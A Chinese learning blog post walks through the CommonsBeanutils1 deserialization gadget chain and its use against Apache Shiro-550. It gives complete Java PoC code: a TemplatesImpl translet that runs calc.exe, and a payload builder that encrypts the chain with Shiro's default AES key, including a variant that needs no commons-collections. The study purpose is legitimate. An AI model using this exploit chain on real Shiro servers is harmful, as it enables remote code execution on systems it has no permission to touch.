当前位置: 首页 > news >正文

CommonsBeanutils与Shiro发序列化利用的学习

一、前言

前面的学习中,过了一遍cc1-cc7的利用链,在CC2的利用链中,学习了 java.util.PriorityQueue,它在Java中是一个优先队列,队列中每一个元素都有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序会进行比较,进而执行 java.util.Comparator 接口的 compare()方法。 那么,后续我们可以继续学习下其他利用 java.util.Comparator 对象。

二、初识 Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean) 的一些操作方法。

比如,Cat是一个最简单的 JavaBean类:

final public class Cat{private String name = "catalina";public String getName() {return name;}public void setName(String name) {this.name = name;}
}

它包含一个私有属性name和读取、设置这个属性的方法,又称为 getter 和 setter, 其中给getter的方法名以 get开头,setter的方法以set开头,全名符合骆驼式命名法 (Camel-Case)。

commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty, 让使用者可以直接调用任意JavaBean 的 getter 方法,比如:

PropertyUtils.getProperty(new Cat(), "name");

此时,commons-beanutils 会自动找到 name 属性的 getter() 方法,也就是 getName, 然后调用,获得返回值。 除此之外, PropertyUtils.getProperty 还支持递归获取属性, 比如 a对象中有属性b , b对象有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c");  的方式进行递归获取。 通过这个方法,使用者可以很方便的调用任意对象的 getter, 适用于在不确定 JavaBean 是哪个类对象时使用。当然 , commons-beanutils 中还有很多类似的辅助方法,如调用 setter、拷贝属性等。

三、getter 的妙用

文章开头说过,再找过可以利用的  java.util.Comparator 对象, 在 commons-beanutils 包中就存在一个: org.apache.commons.beanutils.BeanComparator

BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean是否相等的类,其实现了java.util.Comparator 接口

org.apache.commons.beanutils.BeanComparator.javapublic int compare( final T o1, final T o2 ) {if ( property == null ) {// compare the actual objectsreturn internalCompare( o1, o2 );}try {final Object value1 = PropertyUtils.getProperty( o1, property );final Object value2 = PropertyUtils.getProperty( o2, property );return internalCompare( value1, value2 );}catch ( final IllegalAccessException iae ) {throw new RuntimeException( "IllegalAccessException: " +iae.toString() );}catch ( final InvocationTargetException ite ) {throw new RuntimeException( "InvocationTargetException: " +ite.toString() );}catch ( final NoSuchMethodException nsme ) {throw new RuntimeException( "NoSuchMethodException: " +nsme.toString() );}
}

这个方法传入两个对象,如果 this.property 为空, 则直接比较这两个对象; 如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property属性,比较属性的值。 在上节说过 PropertyUtils.getProperty 这个方法会自动调用一个 JavaBean 的getter 方法,这个点就是 任意代码执行的关键。  有没有什么 getter 方法可以执行恶意代码呢?

在 java的类加载机制的学习_java是如何加载类的-CSDN博客 文章中,有过这么一条关于TemplatesImpl 的调用链的说明

追溯到最前面两个方法 TemplatesImpl#getOutputProperties() 、 TemplatesImpl#newTransformer()  ,这两者都是 public属性,都可以被外部调用,当初我们分析是从 TemplatesImpl#newTransformer() 开始利用调用的; 但是实际上, TemplatesImpl#getOutputProperties() 方法是调用链上的一环, 它的内部调用了 TemplatesImpl#newTransformer() , 也就是我们后面用来执行恶意字节码的地方。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.javapublic  synchronized Properties getOutputProperties() {try{return newTransformer().getOutputProperties();}catch (TransformerConfigurationException e){return null;}
}

而 getOutputProperties 这个名字, 是以get 开头,正符合 getter 的定义。

所以,PropertyUtils.getPropertyh( o1, property ) 这段代码,当 o1 是一个 TemplatesImpl对象,而property 的值为 outputProperties时, 系那个会自动调用 getter, 也就是   TemplatesImpl#getOutputProperties() 方法, 触发代码执行。

四、反序列化利用链构造

首先还是创建 TemplatesImpl:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class,getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后,实例化 BeanComparator, BeanComparator 构造函数为空时, 默认的 property 就是空:

final BeanComparator comparator = new BeanComparator();

然后用这个comparator 实例化优先队列 PriorityQueue

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
//stub data for replacement later
queue.add(1);
queue.add(1);

我们添加了两个无害的可以比较的对象进队列中,前文说过, BeanComParator#compare() 中,如果this.property 为空,则直接比较这两个对象。 这里实际上就是对两个1 进行排序。

初始化时使用无害对象, 且 property 为空,这一系列操作是为了 初始化的时候不要出错。 然后,我们再用反射将 property 的值设置成恶意的 outputProperties, 将队列里的两个替换成 恶意的 TemplateImpl 对象:

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj,obj});

构造的POC如下:

运行环境:

Java 1.8.0_71

maven依赖:

<dependency><groupId>commons-beanutils</groupId><artifactId>commons-beanutils</artifactId><version>1.9.4</version>
</dependency>
evil.javapackage com.vulhub.Ser;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public evil() throws Exception {super();System.out.println("Hello TemplatesImpl");Runtime.getRuntime().exec("calc.exe");}
}
CommonsBeanutils1.javapackage com.vulhub.Ser;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;public class CommonsBeanutils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(evil.class.getName()).toBytecode()});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator();final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);// stub data for replacement laterqueue.add(1);queue.add(1);setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}

五、Shiro550 利用链

在之前文章TemplatesImpl 在Shiro中的利用链学习1_org.apache.shiro.io.classresolvingobjectinputstrea-CSDN博客

的学习中,用了P神的  shirodemo, 在里面提到过几个依赖库:

前4个依赖和项目本身有关,少了他们这个demo会出错或功能确实。 但是第5个依赖,commons-collections主要是为了演示漏洞。 那么,实际的场景下,目标可能并没有安装 commons-collections, 这个时候还能怎么利用这个 shiro反序列化漏洞呢?

我们将项目 的commons-collections的依赖关闭,查看项目结构,发现 commons-beanutils:1.8.3赫然在列。 也就是说 Shiro是依赖于 commonst-beanutils的。

尝试用上文构造的poc,构造一个shiro的payload,需要做以下两件事,

  • 第一是改变maven中 commons-beanutils 依赖的版本,上面用的 commons-beanutils 1.9.4, demo中的用的是 commons-beanutils 1.8.3 ,不然会报错

Caused by:java.io.InvalidClassException:org.apache.commons.beanutils.BeanComparator;local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会 根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。

当然,开发者也可以手工给类赋予一个serialVersionUID值,此时就能手工控制兼容性了

  • 第二,在原先的基础上,将序列化字节流重新加密下,生成shiro的payload
        //输出 Shiro的payloadAesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);System.out.println(ciphertext.toString());

点击发送payload,然后发现还是报错了:

Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.
 

简单来说就是没找到 org.apache.collections.comparators.ComparableComparator 类, 从包名可以看出,这个类来自 commons-collections。 

commons-beanutils 本来依赖于 commons-collections ,但是在Shiro中,它的 commons-beanutils 虽然包含了 一部分 commons-collections的类, 但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections, 但反序列化利用的时候需要依赖于 commons-collections。

六、无依赖的 Shiro 发序列化利用链

我们先看下   org.apache.collections.comparators.ComparableComparator  类在哪里使用了

在 BeanComparator类的构造函数处,当没有显式传入Comparator 的情况下,则默认使用 org.apache.commons.collections.comparators.ComparableComparator  这也是报错的原因,我们poc中没有指定,导致用了commons-collections 包的 ComparableComparator类。

既然Shiro中没有org.apache.commons.collections.comparators.ComparableComparator 

就需要重新找一个类来替换,需要满足下面几个条件:

  • 实现java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro 或 commons-beanutils 自带,兼容性强
通过 IDEA 的功能,我们找到一个 CaseInsensitiveComparator

相关代码如下:

java.lang.String public static final Comparator<String> CASE_INSENSITIVE_ORDER= new CaseInsensitiveComparator();private static class CaseInsensitiveComparatorimplements Comparator<String>, java.io.Serializable {// use serialVersionUID from JDK 1.2.2 for interoperabilityprivate static final long serialVersionUID = 8575799808933029326L;public int compare(String s1, String s2) {int n1 = s1.length();int n2 = s2.length();int min = Math.min(n1, n2);for (int i = 0; i < min; i++) {char c1 = s1.charAt(i);char c2 = s2.charAt(i);if (c1 != c2) {c1 = Character.toUpperCase(c1);c2 = Character.toUpperCase(c2);if (c1 != c2) {c1 = Character.toLowerCase(c1);c2 = Character.toLowerCase(c2);if (c1 != c2) {// No overflow because of numeric promotionreturn c1 - c2;}}}}return n1 - n2;}}

这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了Comparator 和 Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。

并且通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 caseInsensitiveComparator 对象,用它来实例化 BeanComparator:

final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);

 后面添加的对象要是字符类型,把1 改成“1” 即可:

queue.add(“1”);
queue.add(“1”);

最终poc如下:
 

CommonsBeanutils1.javapackage com.vulhub.Ser;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;public class CommonsBeanutils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(evil.class.getName()).toBytecode()});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);// stub data for replacement later//需要添加字符串queue.add("1");queue.add("1");setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();//输出 Shiro的payloadAesCipherService aes = new AesCipherService();byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);System.out.println(ciphertext.toString());//System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}

其实也有用 java.util.Collections$ReverseComparator类的;

java.util.Collections.javapublic static <T> Comparator<T> reverseOrder() {return (Comparator<T>) ReverseComparator.REVERSE_ORDER;}/*** @serial include*/private static class ReverseComparatorimplements Comparator<Comparable<Object>>, Serializable {private static final long serialVersionUID = 7207038068494060240L;static final ReverseComparator REVERSE_ORDER= new ReverseComparator();public int compare(Comparable<Object> c1, Comparable<Object> c2) {return c2.compareTo(c1);}private Object readResolve() { return reverseOrder(); }}

通过 java.util.Collections.reverseOrder()能够取得 ReverseComparator 对象

最终构造poc效果一样。

http://www.lryc.cn/news/488457.html

相关文章:

  • 运维云计算SRE-第2周
  • React Native 全栈开发实战班 - 用户界面进阶之响应式设计实践
  • SlickGrid点击/双击事件
  • 一文详细深入总结服务器选型
  • 一、Nginx反向代理(七层代理)二、Nginx的TCP/UDP调度器(四层代理)
  • CSS+JQuery 实现弹力球效果,碰到屏幕边框弹回
  • shell编程规范和脚本变量
  • jspm美容院管理系统
  • Prometheus结合K8s(二)使用
  • 【虚幻引擎】UE5数字人开发实战教程
  • 深入分析:固定参考框架在RViz中的作用与对数据可视化的影响 ros ubuntu20.04
  • Android:时间选择器(最下面有效果图)
  • 第十六届蓝桥杯模拟赛(第一期)-c++/c
  • 如何挑选路由器?需要看哪些参数?
  • mysql-备份(二)
  • Tailwind CSS 和 UnoCSS简单比较
  • unity3d————范围检测
  • 修改this.$confirm的按钮位置、图标、文字及标题
  • SQL MID() 函数详解
  • 【蓝桥杯备赛】123(前缀和的复杂应用)
  • MINES
  • H.265流媒体播放器EasyPlayer.js H5流媒体播放器关于如何查看手机端的日志信息并保存下来
  • uni-app快速入门(十一)--常用JS API(上)
  • Flink任务提交到yarn上slot数量为0的问题
  • vue3怎么根据字符串获取组件实例
  • ISUP协议视频平台EasyCVR私有化视频平台新能源汽车充电停车管理方案的创新与实践
  • 智领未来: 宏集物联网HMI驱动食品与包装行业迈向智能化新高度
  • redis-击穿、穿透、雪崩
  • 【Redis】服务器异常重启,导致redis启动失败
  • Springboot+Vue的项目搭建(三)